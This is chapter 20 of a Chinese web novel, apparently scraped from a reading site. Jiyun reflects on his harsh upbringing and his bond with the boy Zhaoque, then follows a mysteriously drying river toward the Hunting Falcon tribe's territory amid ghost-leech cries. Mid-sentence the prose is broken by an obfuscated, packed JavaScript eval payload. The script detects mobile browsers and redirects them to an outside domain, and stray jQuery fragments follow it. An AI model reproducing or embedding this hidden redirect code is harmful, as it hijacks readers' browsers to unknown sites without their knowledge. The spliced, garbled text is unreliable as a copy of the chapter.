20.追溯

作品:《无尽书

    既云甩了甩手上的水珠,而后看向了自己的掌心。那道疤从手心连到手腕,剩下的部分被衣袖挡住。这是他过去被丢在树林里留下的。只是这些记忆本该早已模糊,此刻却突然变得异常清晰。


    对岸的矮灌木丛里,几只早起的水鸟扑棱着翅膀掠起。既云望着水面上自己模糊的影子,忽然低低地笑了一声。这笑声混在潺潺的水声里,连他自己都说不清是什么意思。


    既云从来不觉得自己是什么慈悲为怀的良善之辈。


    偏偏四岁那年就因为他在父亲的帐子里多问了那个被侍卫们捡来的弃婴几句,父亲便给他判了个“妇人之仁,朽木难雕”的罪。以至于他后来无论做什么,都能成为阿爸不喜欢他的理由。


    大概最初的印象总是根深蒂固,又或者阿爸从一开始就认定他这辈子都是一滩烂泥、绝无可能改变。总之即便后来被扔进沙场后,既云随随便便就能拧断过偷袭者的脖颈,抑或是在林子里独自枕着野兽的嘶吼睡觉……在阿爸眼里,他似乎也还是那个没用的废物。


    这种事情传来传去就是容易有出入,加上既云当年回去后又总是同长老们家中的那几个纨绔混在一起,自然也被族人当作是游手好闲的草包。


    反正没人看的上他,既云干脆痛痛快快地混日子。于是谁也没发现,其实二少这副温和好脾气的皮囊之下,装的从来不是软心肠。至于当年那点被误读的“妇人之仁”,哪怕真的有过,也早在他流的血里泡烂了。


    而真正藏在那温顺表象之下的利爪獠牙,也已在过往的一切经历里磨得锃亮。且不论他杀人眨不眨眼,便是算计起人来,也总带着几分不见血的狠戾。


    但昭鹊不一样。


    既云在昨晚之前一直觉得这小孩身上有点以前自己的影子。一样是年少成才却没受到族里高层的重视,也一样在人群里显得有点格格不……


    至于那日在梨花树下,见昭鹊抬手接住落瓣时的失神,既云曾一度恍惚,以为自己是在透过这个孩子窥视另一个未曾被世事磋磨、尚带着几分柔软的“既云”。


    既云还记得自己刚进沙场那会儿,总被里边的一些人调侃,说他长得像个姑娘家,说阿爸是不要他了才会把他扔进沙场。那天夜里几个汉子醉后指点昭鹊的动作无独有偶,既云那时便想,这孩子大约也受过类似的委屈吧。


    不然这样一个半大的少年,怎么会一个人躲得远远的呢?


    只是他们终究不是一样的人。无论是那包蜜饯,还是昨夜的厮杀,都足以让既云看出这层相似的表象之下的差别。


    既云见了昭鹊在战场上的狠戾,偏又看见了他在面对那些侍女奴隶时的不忍。他对生人明明是有防备的,可偏偏又因为既云随便一句话就交出了心意。


    这少年像块被河水冲刷多年的石头,乍看之下以为是棱角分明,等揣在手里仔细摸了才发现其实早已被磨得温润。


    而这份藏在冷淡外壳下的柔软,便如同投入静湖的石子,在既云心里漾开了层层的涟漪。随着相处时日的增多,他心底竟隐隐生出一丝自己都未察觉的憧憬与眷恋。


    这“草包”的名声在族里传了那么多年,既云索性便顺水推舟变成众人以为的模样。粱远这些人或多或少认为他耽于享乐,却不知他看似随意的退让里都藏着算计。可对着昭鹊时,既云的心就一下子软塌下来,露出内里连自己都觉得陌生的温和。


    可处在长夜暗昧里的人,又怎么能不被光亮牵惹呢。


    风从河谷上游吹下来,带着些微的凉意。既云抬头往山洞的方向望了一眼,晨光已经漫过东边的山坳,把天空染成了淡淡的金红色。祥山族的营地也已经有了动静,大约是已经开始干活了。


    既云甩了甩手上的水珠,起身往猎鹰族旧址走,衣角扫过沾满露水的草丛,溅起一串细碎的水珠。


    他不再去想那些弯弯绕绕的缘由。这世间纵有数不清怀揣着算计的恶人,也大有愿意守着那份良善的好人在。


    反正左右不过是多照看个孩子,就当是……为自己那点早已被岁月磨平的少年心性,弥补些许遗憾嘛。


    他自己虽然没什么本事,但“二少”这个名头还是有点用处的。


    ……


    既云沿着归川支流的河岸前行,河道两旁的草木还带着清晨的湿润,叶片上的露珠滚落,坠入水中泛起微小的涟漪。他记得祥山族长说过,猎鹰族的领地是更外围的一片树林。祥山族划给他们的取水地就在归川支流接近尽头的地方,那片水潭便是两族领地的分界,过了水潭,便是猎鹰族的地界。


    他边走边留意着周遭的环境,昨夜那几声鬼蛭的嘶鸣始终在他心头萦绕,此刻清晨的宁静里,倒显得愈发诡异。


    起初,河水还带着几分丰盈,水流声潺潺,能看到水底圆润的卵石和偶尔游过的小鱼。可走了约莫两刻钟,支流的河水便开始以肉眼可见的速度变浅。原本丰盈的水流竟在慢慢变窄,裸\露出河床上大片灰白的卵石。


    既云抬手拨了拨垂在额前的碎发,目光落在河面,皱起了眉。


    原本能没过小腿的水域,此刻目测大约只及脚踝,水流也从先前的湍急变得迟缓,像一条疲惫的巨蟒,挣扎着向前蠕动。河底的卵石裸露得越来越多,甚至能看到岸沿干裂的泥纹,仿佛这片水域正被一种无形的力量抽走生命力。


    他停下脚步,再次蹲下身掬起一捧水。水很凉,带着河底泥沙的气息,可掌心的水很快便渗入脚下的泥土,留下一小片深色的印记,然而眨眼间就干了。


    既云愣了一瞬。饶是他见过的、知道的东西再多,也从没见过这种诡异的情况。他伸手在河岸龟裂的泥地上刮了一下,触感粗糙而坚硬,的确有几分干旱的样子。此地已基本离开祥山族的领地,可这景象属实反常。


    这两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465975|182802||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    族的领地相差不远,若是遭遇旱情,两族境内的旱情程度也应相差无几。可祥山族那边的归川支流明明水量充足,稍走近些便能听到水流撞击岩石的声响,为何偏偏猎鹰族这边的水域会是这般景象?


    如此泾渭分明的状况,简直就像是有人用无形的屏障,将这片土地硬生生劈成了两个世界。


    既云的眉头皱得更紧了。昨夜猎鹰族长最后冲他吼的那几句话再次浮现。他说他们是被“逼”的——既云当时虽然有所怀疑,却没料到是这种情况。


    他站起身,继续沿着河岸前行。越往前走,河水越浅,到后来,河道中央只剩下一条细细的水线,像一条垂死的蛇,在干涸的河床上艰难地延伸。两旁的河岸也变得狼藉,原本该长满水草的地方,此刻只剩下枯黄的草根,被风吹得瑟瑟发抖。


    雾气不知何时又浓了起来。先前雾气分明已在晨光里散去了,可这片突如其来的雾气却像被什么东西牵引着,越来越浓,白茫茫一片,让人几乎看不清前方的路。这其中还带着股潮湿的腥气,像是血腥气与腐臭混合的味道,闻着直犯恶心。


    虽然看不大清前路,但既云有种预感自己已经很接近猎鹰族的旧址了。


    “嘶——!嘶嘶嘶——”


    一声遥远却尖利的嘶鸣刺破雾层,紧接着是第二声、第三声,密密麻麻地从前方林子里钻出来,像无数根细针扎进耳朵。


    既云已经可以肯定这就是是鬼蛭的叫声。昨夜在主帐那边隔得远他们只听得零星几声,此刻却密集得像潮水,仿佛前方的雾中堆满了这濒死的虫子。


    既云握紧骨刀,脚步也放轻了些。耳畔鬼蛭的嘶鸣声不断扎得他太阳穴突突直跳。哪怕过去这么多年,既云仍记得自己十五岁那年不慎被这小东西上了身后吃的苦头。


    他一开始浑然不知,直到一阵钻心的刺痛猛地袭来,他才惊觉不对。


    再一看,只见那青黑色的躯体正贪婪地侵蚀他的伤口。既云又疼又怕,胃里一阵翻江倒海,却还是死死攥住那虫子。随着一声脆响,虫子被捏得稀烂,可紧接着,一阵诡异的长鸣从指缝间溢出,尖细得像是孩童在暗处哭泣,听得他头皮发麻,浑身的汗毛都竖了起来。


    既云那时也不过一个毛没长齐的小鬼,顿时吓得魂飞魄散,一个人缩在树洞里好几天,直到实在饿得要死了才不得不出来。


    等到后来他回了苍狩族,去一个长老那边问了,才得知这东西名叫鬼蛭。此虫嗜血而生,常聚于腐尸,将死则鸣,声如婴泣。唯一值得庆幸的是这种虫子只能在固定的环境里存活,不然以它们的“手段”,这片土地怕是要易主。


    可这东西生命力极强,如若不是既云那样地暴力残杀或找不到食物,绝不会轻易死去。


    然而此刻听着前方成片的哀鸣,这么多鬼蛭同时发出临死前的嘶鸣,难不成猎鹰族的林子里,藏着一座尸山么?!